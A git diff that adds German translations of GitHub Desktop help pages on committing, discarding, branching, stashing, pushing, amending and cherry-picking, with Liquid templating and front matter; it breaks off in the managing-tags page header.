+Wenn eine Datei mehrere Änderungen enthält, du aber nur einen Teil dieser Änderungen in einen Commit einbeziehen möchtest, kannst du einen partiellen Commit erstellen. Der Rest deiner Änderungen bleibt erhalten, sodass du zusätzliche Änderungen und Commits vornehmen kannst. Dadurch kannst du separate, aussagekräftige Commits erstellen, beispielsweise kannst du Änderungen der Zeilenumbrüche in einem Commit vom Code oder von Fließtextänderungen getrennt halten.
+
+Um geänderte Zeilen aus deinem Commit auszuschließen, klicke auf eine oder mehrere geänderte Zeilen, um sie nicht länger blau zu markieren. Die Zeilen, die weiterhin blau markiert sind, werden in den Commit aufgenommen.
+
+  ![Zeilen in einer Datei aus der Auswahl entfernen](/assets/images/help/desktop/partial-commit.png)
+
+## Änderungen verwerfen
+Wenn ausgecheckte Änderungen vorhanden sind, die du nicht beibehalten möchtest, kannst du die Änderungen verwerfen. Dadurch werden die Änderungen aus den Dateien auf deinem Computer entfernt. Du kannst alle ausgecheckten Änderungen in einer oder mehreren Dateien verwerfen, oder du kannst bestimmte Zeilen verwerfen, die du hinzugefügt hast.
+
+Verworfene Änderungen werden in einer datierten Datei im Papierkorb gespeichert. Du kannst verworfene Änderungen wiederherstellen, bis der Papierkorb geleert wird.
+
+### Verwerfen von Änderungen in einer oder mehreren Dateien
+
+{% data reusables.desktop.select-discard-files %} {% data reusables.desktop.click-discard-files %}
+
+  ![Option „Änderungen verwerfen“ im Kontextmenü](/assets/images/help/desktop/discard-changes-mac.png) {% data reusables.desktop.confirm-discard-files %}
+
+  ![Schaltfläche „Discard Changes“ (Änderungen verwerfen) im Bestätigungsdialog](/assets/images/help/desktop/discard-changes-confirm-mac.png)
+
+### Verwerfen von Änderungen in einer oder mehreren Zeilen
+Du kannst eine oder mehrere geänderte Zeilen verwerfen, für die noch kein Commit durchgeführt wurde.
+
+{% note %}
+
+**Hinweis:** Das Verwerfen einzelner Zeilen ist bei einer Gruppe von Änderungen, die Zeilen hinzufügen und entfernen, deaktiviert.
+
+{% endnote %}
+
+Um eine hinzugefügte Zeile zu verwerfen, klickst du in der Liste der geänderten Zeilen mit der rechten Maustaste auf die Zeile, die du verwerfen möchtest, und wählst **Zeile verwerfen** aus.
+
+  ![Verwerfen einer einzelnen Zeile im Bestätigungsdialogfeld](/assets/images/help/desktop/discard-single-line.png)
+
+Um eine Gruppe geänderter Zeilen zu verwerfen, klickst du mit der rechten Maustaste auf den vertikalen Balken rechts neben den Zeilennummern der Zeilen, die du verwerfen möchtest, und wählst dann **Hinzufügte Zeilen verwerfen** aus.
+
+  ![Verwerfen einer Gruppe hinzugefügter Zeilen im Bestätigungsdialogfeld](/assets/images/help/desktop/discard-multiple-lines.png)
+
+
+## Eine Commit-Mitteilung schreiben und deine Änderungen per Push übertragen
+
+Sobald du mit den Änderungen zufrieden bist, die du in deinen Commit aufnehmen möchtest, schreibest du deine Commit-Mitteilung, und überträgst deine Änderungen per Push. Wenn du an einem Commit mitgewirkt hast, kannst du einen Commit auch mehr als einem Autor zuweisen.
+
+{% note %}
+
+**Hinweis**: {% data reusables.desktop.tags-push-with-commits %} Weitere Informationen findest du unter [Verwalten von Tags](/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/managing-tags).
+
+{% endnote %}
+
+{% data reusables.desktop.commit-message %}
+
+  ![Feld für Commit-Mitteilung](/assets/images/help/desktop/commit-message.png)
+1. Um einen Commit einem anderen Autor zuzuweisen, kannst du optional auf das Symbol zum Hinzufügen von Co-Autoren klicken und den bzw. die Benutzername(n) eingeben, den bzw. die du hinzufügen möchtest.
+
+  ![Hinzufügen eines Co-Autors zur Commitmeldung](/assets/images/help/desktop/add-co-author-commit.png) {% data reusables.desktop.commit-button %}
+
+  ![Schaltfläche „Commit“](/assets/images/help/desktop/commit-button.png)
+4. Wenn der Branch, zu dem du per Commit übertragen möchtest, geschützt ist, wirst du von Desktop benachrichtigt.
+    - Wenn du deine Änderungen verschieben möchtest, klicke auf **Branches wechseln**.
+    - Um deine Änderungen an den geschützten Branch zu committen, klicke auf **Commit an _BRANCH_**.
+
+  Weitere Informationen zu geschützten Branches findest du unter [Informationen zu geschützten Branches](/github/administering-a-repository/about-protected-branches).
+
+  ![Warnung zu geschütztem Branch](/assets/images/help/desktop/protected-branch-warning.png) {% data reusables.desktop.push-origin %}
+
+6. Wenn du über einen Pull Request verfügst, der auf dem Branch basiert, an dem du gerade arbeitest, zeigt {% data variables.product.prodname_desktop %} den Status der Überprüfungen an, die für den Pull Request durchgeführt wurden. Weitere Informationen zu Überprüfungen findest du unter [Anzeigen und erneutes Ausführen von Überprüfungen in GitHub Desktop](/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop).
+
+ ![Überprüfungsanzeige neben dem Branchnamen](/assets/images/help/desktop/checks-dialog.png)
+
+ Wenn für den aktuellen Zweig noch kein Pull Request erstellt wurde, gibt {% data variables.product.prodname_desktop %} dir die Möglichkeit, einen Pull Request zu erstellen. Weitere Informationen findest du unter [Erstellen eines Issues oder Pull Requests](/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request).
+
+ ![Erstellen eines Pull Requests](/assets/images/help/desktop/mac-create-pull-request.png)
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md
new file mode 100644
index 0000000000..42d4793a90
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md
@@ -0,0 +1,16 @@
+---
+title: Making changes in a branch
+intro: 'Use your favorite text editor, such as [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), to make changes to your project, then use {% data variables.product.prodname_desktop %} to visualize useful commits.'
+redirect_from:
+  - /desktop/contributing-to-projects/making-changes-in-a-branch
+versions:
+  fpt: '*'
+children:
+  - /managing-branches
+  - /committing-and-reviewing-changes-to-your-project
+  - /stashing-changes
+  - /viewing-the-branch-history
+  - /pushing-changes-to-github
+shortTitle: Make changes in a branch
+---
+
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md
new file mode 100644
index 0000000000..23495959de
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md
@@ -0,0 +1,100 @@
+---
+title: Verwalten von Branches
+intro: 'Du kannst einen Branch aus dem Standardbranch eines Repositorys erstellen, damit du unbesorgt mit Änderungen experimentieren kannst.'
+redirect_from:
+  - /desktop/contributing-to-projects/creating-a-branch-for-your-work
+  - /desktop/contributing-to-projects/switching-between-branches
+  - /desktop/contributing-to-projects/managing-branches
+  - /desktop/contributing-and-collaborating-using-github-desktop/managing-branches
+versions:
+  fpt: '*'
+ms.openlocfilehash: 30604c6b3ed0ab9ca5c0f3f8ca0fe853624ee86b
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105368'
+---
+## Informationen zum Verwalten von Branches
+Du kannst Branches verwenden, um sicher mit Änderungen an deinem Projekt zu experimentieren. Branches isolieren deine Entwicklungsarbeit von anderen Branches im Repository. Du könntest beispielsweise einen Branch verwenden, um ein neues Feature zu entwickeln oder einen Fehler zu beheben.
+
+Du erstellst einen Branch immer aus einem existierenden Branch. Normalerweise würdest du einen Branch aus dem Standardbranch deines Repositorys erstellen. Da kannst dann in diesem Branch unabhängig von Änderungen arbeiten, die andere Personen im Repository machen.
+
+Du kannst einen Branch auch ausgehend von einem vorherigen Commit im Verlauf eines Branchs erstellen. Dies kann hilfreich sein, wenn du zu einer früheren Ansicht des Repositorys zurückkehren musst, um einen Fehler zu untersuchen, oder um einen Hot Fix am Anfang deines neuesten Release zu erstellen.
+
+Wenn du mit deiner Arbeit zufrieden bist, kannst du einen Pull Request erstellen, um deine Änderungen im aktuellen Branch in einen anderen Branch zu mergen. Weitere Informationen findest du unter [Erstellen eines Issues oder Pull Requests](/desktop/contributing-to-projects/creating-an-issue-or-pull-request) und [Informationen zu Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).
+
+Du kannst immer einen Branch in {% data variables.product.prodname_desktop %} erstellen, wenn du Lesezugriff auf ein Repository hast, aber du kannst den Branch nur nach {% data variables.product.prodname_dotcom %} pushen, wenn du Schreibzugriff auf das Repository hast.
+
+{% data reusables.desktop.protected-branches %}
+
+## Branch erstellen
+
+{% tip %}
+
+**Tipp:** Der erste neue Branch, den du erstellst, basiert auf dem Standardbranch. Wenn du mehrere Branches besitzt, kannst du wählen, ob der neue Branch auf dem aktuell ausgecheckten Branch oder dem Standardbranch basieren soll.
+
+{% endtip %}
+
+{% mac %}
+
+{% data reusables.desktop.click-base-branch-in-drop-down %} ![Dropdownmenü zum Wechseln des aktuellen Branchs](/assets/images/help/desktop/select-branch-from-dropdown.png) {% data reusables.desktop.create-new-branch %} ![Option „Neuer Branch“ im Menü „Branch“](/assets/images/help/desktop/new-branch-button-mac.png) {% data reusables.desktop.name-branch %} ![Feld zum Erstellen eines Namens für den neuen Branch](/assets/images/help/desktop/create-branch-name-mac.png) {% data reusables.desktop.select-base-branch %} ![Basisbranchoptionen](/assets/images/help/desktop/create-branch-choose-branch-mac.png) {% data reusables.desktop.confirm-new-branch-button %} ![Schaltfläche „Branch erstellen“](/assets/images/help/desktop/create-branch-button-mac.png)
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.desktop.click-base-branch-in-drop-down %} ![Dropdownmenü zum Wechseln des aktuellen Branchs](/assets/images/help/desktop/click-branch-in-drop-down-win.png) {% data reusables.desktop.create-new-branch %} ![Option „Neuer Branch“ im Menü „Branch“](/assets/images/help/desktop/new-branch-button-win.png) {% data reusables.desktop.name-branch %} ![Feld zum Erstellen eines Namens für den neuen Branch](/assets/images/help/desktop/create-branch-name-win.png) {% data reusables.desktop.select-base-branch %} ![Basisbranchoptionen](/assets/images/help/desktop/create-branch-choose-branch-win.png) {% data reusables.desktop.confirm-new-branch-button %} ![Schaltfläche „Branch erstellen“](/assets/images/help/desktop/create-branch-button-win.png)
+
+{% endwindows %}
+
+## Erstellen eines Branchs aus einem vorherigen Commit
+
+{% data reusables.desktop.history-tab %}
+2. Klicke mit der rechten Maustaste auf den Commit, aus dem du einen neuen Branch erstellen möchtest, und wähle **Branch aus Commit erstellen** aus.
+  ![Erstellen eines Branchs aus dem Commitkontextmenü](/assets/images/help/desktop/create-branch-from-commit-context-menu.png) {% data reusables.desktop.name-branch %} {% data reusables.desktop.confirm-new-branch-button %} ![Branch aus Commit erstellen](/assets/images/help/desktop/create-branch-from-commit-overview.png)
+
+## Veröffentlichen eines Branchs
+
+Wenn du einen Branch auf {% data variables.product.product_name %} erstellst, musst du den Branch veröffentlichen, um ihn für die Zusammenarbeit auf {% data variables.product.prodname_dotcom %} verfügbar zu machen.
+
+1. Klicke oben in der App auf {% octicon "git-branch" aria-label="The branch icon" %} **Aktueller Branch**, und dann auf den Branch, den du veröffentlichen möchtest.
+  ![Dropdownmenü zum Auswählen des zu veröffentlichenden Branchs](/assets/images/help/desktop/select-branch-from-dropdown.png)
+2. Klicke auf **Branch veröffentlichen**.
+  ![Schaltfläche „Branch veröffentlichen“](/assets/images/help/desktop/publish-branch-button.png)
+
+## Wechseln zwischen Zweigen
+Du kannst Commits auf allen Branches deiner Repositorys anzeigen und durchführen. Wenn du Änderungen gespeichert hast, die nicht per Commit übertragen wurden, musst du Dich entscheiden, was mit deinen Änderungen geschehen soll, bevor du den Branch wechseln kannst. Du kannst deine Änderungen zum aktuellen Branch committen, einen Stash für sie ausführen, um sie temporär auf dem aktuellen Branch zu speichern, oder sie zu deinem neuen Branch übertragen. Wenn du deine Änderungen vor dem Wechseln von Branches committen möchtest, nutze die Informationen unter [Committen und Überprüfen von Änderungen an deinem Projekt](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project).
+{% tip %}
+
+**Tipp**: Du kannst ein Standardverhalten für das Wechseln von Branches in den Einstellungen unter **Erweitert** festlegen. Weitere Informationen findest du unter [Konfigurieren von Grundeinstellungen](/desktop/getting-started-with-github-desktop/configuring-basic-settings).
+
+{% endtip %}
+
+{% data reusables.desktop.current-branch-menu %} {% data reusables.desktop.switching-between-branches %} ![Liste der Branches im Repository](/assets/images/help/desktop/select-branch-from-dropdown.png)
+3. Wenn gespeicherte, noch nicht committete Änderungen vorhanden sind, wähle **Meine Änderungen vergessen** oder **Meine Änderungen übertragen**, und klicke auf **Branch wechseln**.
+  ![Optionen zum Wechseln des Branches mit Änderungen](/assets/images/help/desktop/stash-changes-options.png)
+
+## Branch löschen
+
+Du kannst einen Branch nicht löschen, wenn er derzeit einem offenen Pull Request zugeordnet ist. Du kannst das Löschen eines Branchs nicht rückgängig machen.
+
+{% mac %}
+
+{% data reusables.desktop.select-branch-to-delete %} ![Dropdownmenü zur Auswahl des zu löschenden Branchs](/assets/images/help/desktop/select-branch-from-dropdown.png) {% data reusables.desktop.delete-branch-mac %} ![Option „Löschen...“ im Menü „Branch“](/assets/images/help/desktop/delete-branch-mac.png)
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.desktop.select-branch-to-delete %} ![Dropdownmenü zur Auswahl des zu löschenden Branchs](/assets/images/help/desktop/select-branch-from-dropdown.png) {% data reusables.desktop.delete-branch-win %} ![Option „Löschen...“ im Menü „Branch“](/assets/images/help/desktop/delete-branch-win.png)
+
+{% endwindows %}
+
+## Weiterführende Themen
+
+- [Klonen eines Repositorys in {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)
+- [Branch](/articles/github-glossary/#branch) im {% data variables.product.prodname_dotcom %}-Glossar
+- [Informationen zu Branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)
+- [Branches in einer Nutshell](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell) in der Git-Dokumentation
+- [Ausführen eines Stashs für Änderungen](/desktop/contributing-and-collaborating-using-github-desktop/stashing-changes)
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github.md
new file mode 100644
index 0000000000..6927cd0a6e
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github.md
@@ -0,0 +1,46 @@
+---
+title: Pushen von Änderungen an GitHub
+shortTitle: Pushing changes
+intro: 'Während du Änderungen an deinem Projekt lokal committest, kannst du diese Änderungen an {% data variables.product.prodname_dotcom %} pushen, damit andere Personen über das Remoterepository darauf zugreifen können.'
+permissions: People with write permissions can push changes to a repository.
+redirect_from:
+  - /desktop/contributing-to-projects/pushing-changes-to-github
+  - /desktop/contributing-and-collaborating-using-github-desktop/pushing-changes-to-github
+versions:
+  fpt: '*'
+ms.openlocfilehash: b881fa5d9e66c4a63b8c648d87072037a8cba543
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090139'
+---
+## Informationen zum Pushen von Änderungen an {% data variables.product.prodname_dotcom %}
+
+Wenn du Änderungen pushst, sendest du die committeten Änderungen in deinem lokalen Repository an das Remoterepository auf {% data variables.product.prodname_dotcom %}. Wenn du dein Projekt lokal änderst und möchtest, dass andere Personen Zugriff auf die Änderungen haben, musst du die Änderungen an {% data variables.product.prodname_dotcom %} verschieben.
+
+Bevor du Änderungen pushst, solltest du deinen lokalen Branch aktualisieren, um alle Commits einzuschließen, die dem Remoterepository hinzugefügt wurden. Wenn jemand Commits auf dem Remoterepository vorgenommen hat, die sich nicht in deinem lokalen Branch befinden, wirst du von {% data variables.product.prodname_desktop %} aufgefordert, die neuen Commits abzurufen, bevor du deine Änderungen pushst, um Mergekonflikte zu vermeiden. Weitere Informationen findest du unter [Synchronisieren deines Branchs](/desktop/contributing-to-projects/syncing-your-branch).
+
+{% data reusables.desktop.protected-branches %}
+
+## Pushen von Änderungen an {% data variables.product.prodname_dotcom %}
+
+{% note %}
+
+**Hinweis:** {% data variables.product.prodname_desktop %} lehnt einen Push ab, wenn bestimmte Grenzwerte überschritten werden.
+
+- Ein Push enthält eine große Datei von über {% data variables.large_files.max_github_size %}.
+- Die Gesamtgröße eines Pushs liegt über {% data variables.large_files.max_file_size %}.
+
+Wenn du {% data variables.large_files.product_name_long %} so konfigurierst, dass deine großen Dateien nachverfolgt werden, kannst du große Dateien pushen, die normalerweise abgelehnt werden. Weitere Informationen findest du unter [Informationen zu {% data variables.large_files.product_name_long %} und {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/about-git-large-file-storage-and-github-desktop).
+
+{% endnote %}
+
+{% data reusables.desktop.push-origin %}
+2. Wenn {% data variables.product.prodname_desktop %} dich auffordert, neue Commits aus dem Remoterepository abzurufen, klicke auf **Abrufen**.
+  ![Schaltfläche „Abrufen“](/assets/images/help/desktop/fetch-newer-commits.png)
+3. Klicke optional auf **Pull Request erstellen**, um einen Pull Request zur Zusammenzuarbeit an deinen Änderungen zu öffnen. Weitere Informationen findest du unter [Erstellen eines Issues oder Pull Requests](/desktop/contributing-to-projects/creating-an-issue-or-pull-request) und ![Schaltfläche „Pull Request erstellen“](/assets/images/help/desktop/create-pull-request.png).
+
+## Weitere Informationsquellen
+- [Push](/github/getting-started-with-github/github-glossary/#push) im {% data variables.product.prodname_dotcom %}-Gossar
+- [Committen und Überprüfen von Änderungen an deinem Projekt](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project)
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/stashing-changes.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/stashing-changes.md
new file mode 100644
index 0000000000..7583815e0a
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/stashing-changes.md
@@ -0,0 +1,31 @@
+---
+title: Ausführen eines Stashs für Änderungen
+intro: 'Du kannst deine Änderungen vorübergehend speichern, ohne sie in einem Branch zu committen, indem du für Änderungen einen Stash ausführst.'
+versions:
+  fpt: '*'
+redirect_from:
+  - /desktop/contributing-and-collaborating-using-github-desktop/stashing-changes
+ms.openlocfilehash: ef061bec3c60041fc40ab3e8be45d1557ca90219
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105351'
+---
+## Informationen zu gestashten Änderungen
+
+Um deine Änderungen auf dein Repository anzuwenden, musst du die Dateien speichern und dann die Änderungen in einen Branch committen. Wenn gespeicherte Änderungen vorliegen, die du noch nicht committen möchtest, kannst du sie für später stashen. Beim Stashen von Änderungen werden die Änderungen vorübergehend aus den Dateien entfernt, und du kannst sie später wiederherstellen oder verwerfen. Du kannst immer nur einen Satz von Änderungen mit {% data variables.product.prodname_desktop %} stashen. Wenn du {% data variables.product.prodname_desktop %} zum Stashen von Änderungen verwendest, werden alle nicht gespeicherten Änderungen gestasht. Nach dem Stashen von Änderungen für einen Branch kannst du gefahrlos den Branch wechseln oder andere Änderungen am aktuellen Branch vornehmen.
+
+Wenn du {% data variables.product.prodname_desktop %} für einen Branchwechsel verwendest, wenn du Änderungen gespeichert, aber noch nicht committet hast, wirst du durch {% data variables.product.prodname_desktop %} aufgefordert, die Änderungen zu stashen oder in den anderen Branch zu übertragen. Weitere Informationen findest du unter [Verwalten von Branches](/desktop/contributing-to-projects/managing-branches#switching-between-branches).
+
+## Ausführen eines Stashs für Änderungen
+
+{% data reusables.desktop.click-changed-files-header %} {% data reusables.desktop.click-stash-all-changes %}
+
+## Wiederherstellen gestashter Änderungen
+
+{% data reusables.desktop.navigate-to-stashed-changes %} {% data reusables.desktop.click-stashed-changes %} {% data reusables.desktop.click-restore %}
+
+## Verwerfen gestashter Änderungen
+
+{% data reusables.desktop.navigate-to-stashed-changes %} {% data reusables.desktop.click-stashed-changes %} {% data reusables.desktop.click-discard %}
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/viewing-the-branch-history.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/viewing-the-branch-history.md
new file mode 100644
index 0000000000..4faaef3040
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/viewing-the-branch-history.md
@@ -0,0 +1,32 @@
+---
+title: Branch-Verlauf anzeigen
+intro: 'Du kannst Details zu jedem Commit in {% data variables.product.prodname_desktop %} sehen, einschließlich eines Diffs der Änderungen, die der Commit gebracht hat.'
+redirect_from:
+  - /desktop/contributing-to-projects/viewing-the-branch-history
+  - /desktop/contributing-and-collaborating-using-github-desktop/viewing-the-branch-history
+versions:
+  fpt: '*'
+shortTitle: View branch history
+ms.openlocfilehash: d64d3b35a4ac064e78ea43397a7d38cd472e3213
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145090138'
+---
+Jeder Commit zeigt Folgendes:
+
+ - Die Commit-Mitteilung
+ - Den Erstellungs-Zeitpunkt des Commits
+ - Den Benutzernamen und das Profilfoto (sofern vorhanden) des Beitragenden
+ - Den SHA-1-Hash (die eindeutige ID) des Commits
+
+{% data reusables.desktop.history-tab %}
+2. Klicke auf der Registerkarte **Verlauf** auf den Commit, den du überprüfen möchtest.
+![Ein Commit auf der Registerkarte „Verlauf“](/assets/images/help/desktop/branch-history-commit.png)
+3. Wenn im Commit mehrere Dateien vorhanden sind, klicke auf eine einzelne Datei, um die Änderungen anzuzeigen, die an dieser Datei in diesem Commit vorgenommen wurden.
+![Eine Datei im Commit](/assets/images/help/desktop/branch-history-file.png)
+
+## Weiterführende Themen
+
+- [Synchronisieren deines Branchs](/desktop/guides/contributing-to-projects/syncing-your-branch/)
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/amending-a-commit.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/amending-a-commit.md
new file mode 100644
index 0000000000..18507470f4
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/amending-a-commit.md
@@ -0,0 +1,27 @@
+---
+title: Ändern eines Commits
+intro: 'Du kannst mit {% data variables.product.prodname_desktop %} deinen letzten Commit ändern.'
+versions:
+  fpt: '*'
+ms.openlocfilehash: 8d92d5f755df662c4948196cf9f84b3227ec0067
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105347'
+---
+## Informationen zum Ändern eines Commits
+
+Durch das Ändern eines Commits kannst du den letzten Commit bearbeiten, den du in deinem aktuellen Branch durchgeführt hast. Das kann nützlich sein, wenn du die Commitnachricht bearbeiten musst, oder wenn du vergessen hast, Änderungen in den Commit aufzunehmen.
+
+Du kannst einen Commit so lange ändern, bis du ihn an das Remoterepository pushst. Nachdem du einen Commit gepusht hast, wird die Option zur Änderung des Commits in {% data variables.product.prodname_desktop %} deaktiviert. Wenn du einen Commit änderst, ersetzt du den vorherigen Commit durch einen neuen Commit in deinem aktuellen Branch. Das Ändern eines Commits, der in das Remoterepository gepusht wurde, könnte für Verwirrung bei anderen Projektbeteiligten sorgen, die mit dem Repository arbeiten.
+
+## Ändern eines Commits
+
+{% data reusables.desktop.history-tab %}
+2. Klicke mit der rechten Maustaste auf den letzten Commit, und wähle **Commit ändern** aus.
+  ![Kontextmenü „Commit ändern“](/assets/images/help/desktop/amend-commit-context-menu.png)
+3. Klicke auf das Feld **Zusammenfassung**, um die Commitnachricht zu ändern. Optional kannst du im Feld **Beschreibung** Informationen zum Commit ändern oder hinzufügen.
+4. Wähle alle Änderungen aus, die bisher nicht committet wurden und die du dem Commit hinzufügen möchtest. Weitere Informationen findest du unter [Committen und Überprüfen von Änderungen an deinem Projekt](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project#selecting-changes-to-include-in-a-commit).
+5. Wenn du deine Änderungen fertig gestellt hast, klicke auf **Letzten Commit ändern**.
+  ![Übersicht: Ändern des letzten Commits](/assets/images/help/desktop/amend-last-commit-overview.png)
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/cherry-picking-a-commit.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/cherry-picking-a-commit.md
new file mode 100644
index 0000000000..359a3a1098
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/cherry-picking-a-commit.md
@@ -0,0 +1,30 @@
+---
+title: Cherrypicking eines Commits
+intro: Du kannst einen bestimmten Commit in einem Branch auswählen und diesen in einen anderen Branch kopieren.
+versions:
+  fpt: '*'
+redirect_from:
+  - /desktop/contributing-and-collaborating-using-github-desktop/cherry-picking-a-commit
+ms.openlocfilehash: 6dad1615b9a8c224c3648be60759b5bb6ccf0d62
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145090132'
+---
+## Informationen zum Git-Cherrypicking
+
+Du kannst das Cherrypicking für einen Commit in einem Branch ausführen, um eine Kopie des Commits mit den gleichen Änderungen an einem anderen Branch zu erstellen. Wenn du Änderungen am falschen Branch committest oder dieselben Änderungen an einem anderen Branch vornehmen möchtest, kannst du den Commit auswählen, um die Änderungen auf einen andere Branch anzuwenden. Du kannst das Cherrypicking auch verwenden, um bestimmte Änderungen anzuwenden, bevor du bereit bist, einen Pull Request zu erstellen oder zusammenzuführen. Wenn du beispielsweise eine Fehlerkorrektur für einen Featurebranch ausführst, kannst du den Commit mit der Fehlerkorrektur für andere Branches deines Projekts auswählen.
+
+Du kannst das Cherrypicking auch verwenden, wenn du mit einem Team zusammenarbeitest. Einige Projekte umfassen Beiträge von Cherrypicking-Commits. Weitere Informationen findest du unter [Verteiltes Git – Verwalten eines Projekts](https://git-scm.com/book/en/v2/Distributed-Git-Maintaining-a-Project#_rebase_cherry_pick) in der Git-Dokumentation.
+
+## Cherrypicking eines Commits
+
+{% data reusables.desktop.current-branch-menu %}
+2. Klicke in der Liste der Branches auf den Branch, der den Commit hat, den du zum Cherrypicking verwenden möchtest.
+{% data reusables.desktop.history-tab %}
+4. Ziehe den Commit, den für das Cherrypicking verwenden möchtest, auf das Menü {% octicon "git-branch" aria-label="The branch icon" %} **Current Branch** (Aktueller Branch) und lege den Commit auf dem Branch ab, auf den du den Commit kopieren möchtest.
+  ![Ziehen eines Commits auf einen anderen Branch im Menü „Current Branch“ (Aktueller Branch)](/assets/images/help/desktop/cherry-picking.png)
+
+## Weitere Informationsquellen
+- [Git-Cherrypicking](https://git-scm.com/docs/git-cherry-pick) in der Git-Dokumentation
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/index.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/index.md
new file mode 100644
index 0000000000..5a108738e1
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/index.md
@@ -0,0 +1,20 @@
+---
+title: Verwalten von Commits
+intro: '{% data variables.product.prodname_desktop %} ermöglicht das Ändern, Cherrypicking, Neuordnen, Rückgängigmachen und Squashen von Commits.'
+versions:
+  fpt: '*'
+children:
+  - /reverting-a-commit
+  - /cherry-picking-a-commit
+  - /reordering-commits
+  - /squashing-commits
+  - /amending-a-commit
+  - /managing-tags
+ms.openlocfilehash: ca229074be505abf1db9865807c38c95bd11e572
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105344'
+---
+
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/managing-tags.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/managing-tags.md
new file mode 100644
index 0000000000..1cf753f66c
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/managing-tags.md
@@ -0,0 +1,53 @@
+---
+title: „Tags“ (Schlagworte) verwalten
+intro: 'Du kannst {% data variables.product.prodname_desktop %} für die Erstellung, den Pushvorgang und die Anzeige von Tags verwenden.'
+redirect_from:
+  - /desktop/contributing-to-projects/managing-tags
+  - /desktop/contributing-and-collaborating-using-github-desktop/managing-tags
+versions:
+  fpt: '*'
+ms.openlocfilehash: 980e47f6e3300995f6312499b23768d6f0401f36
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
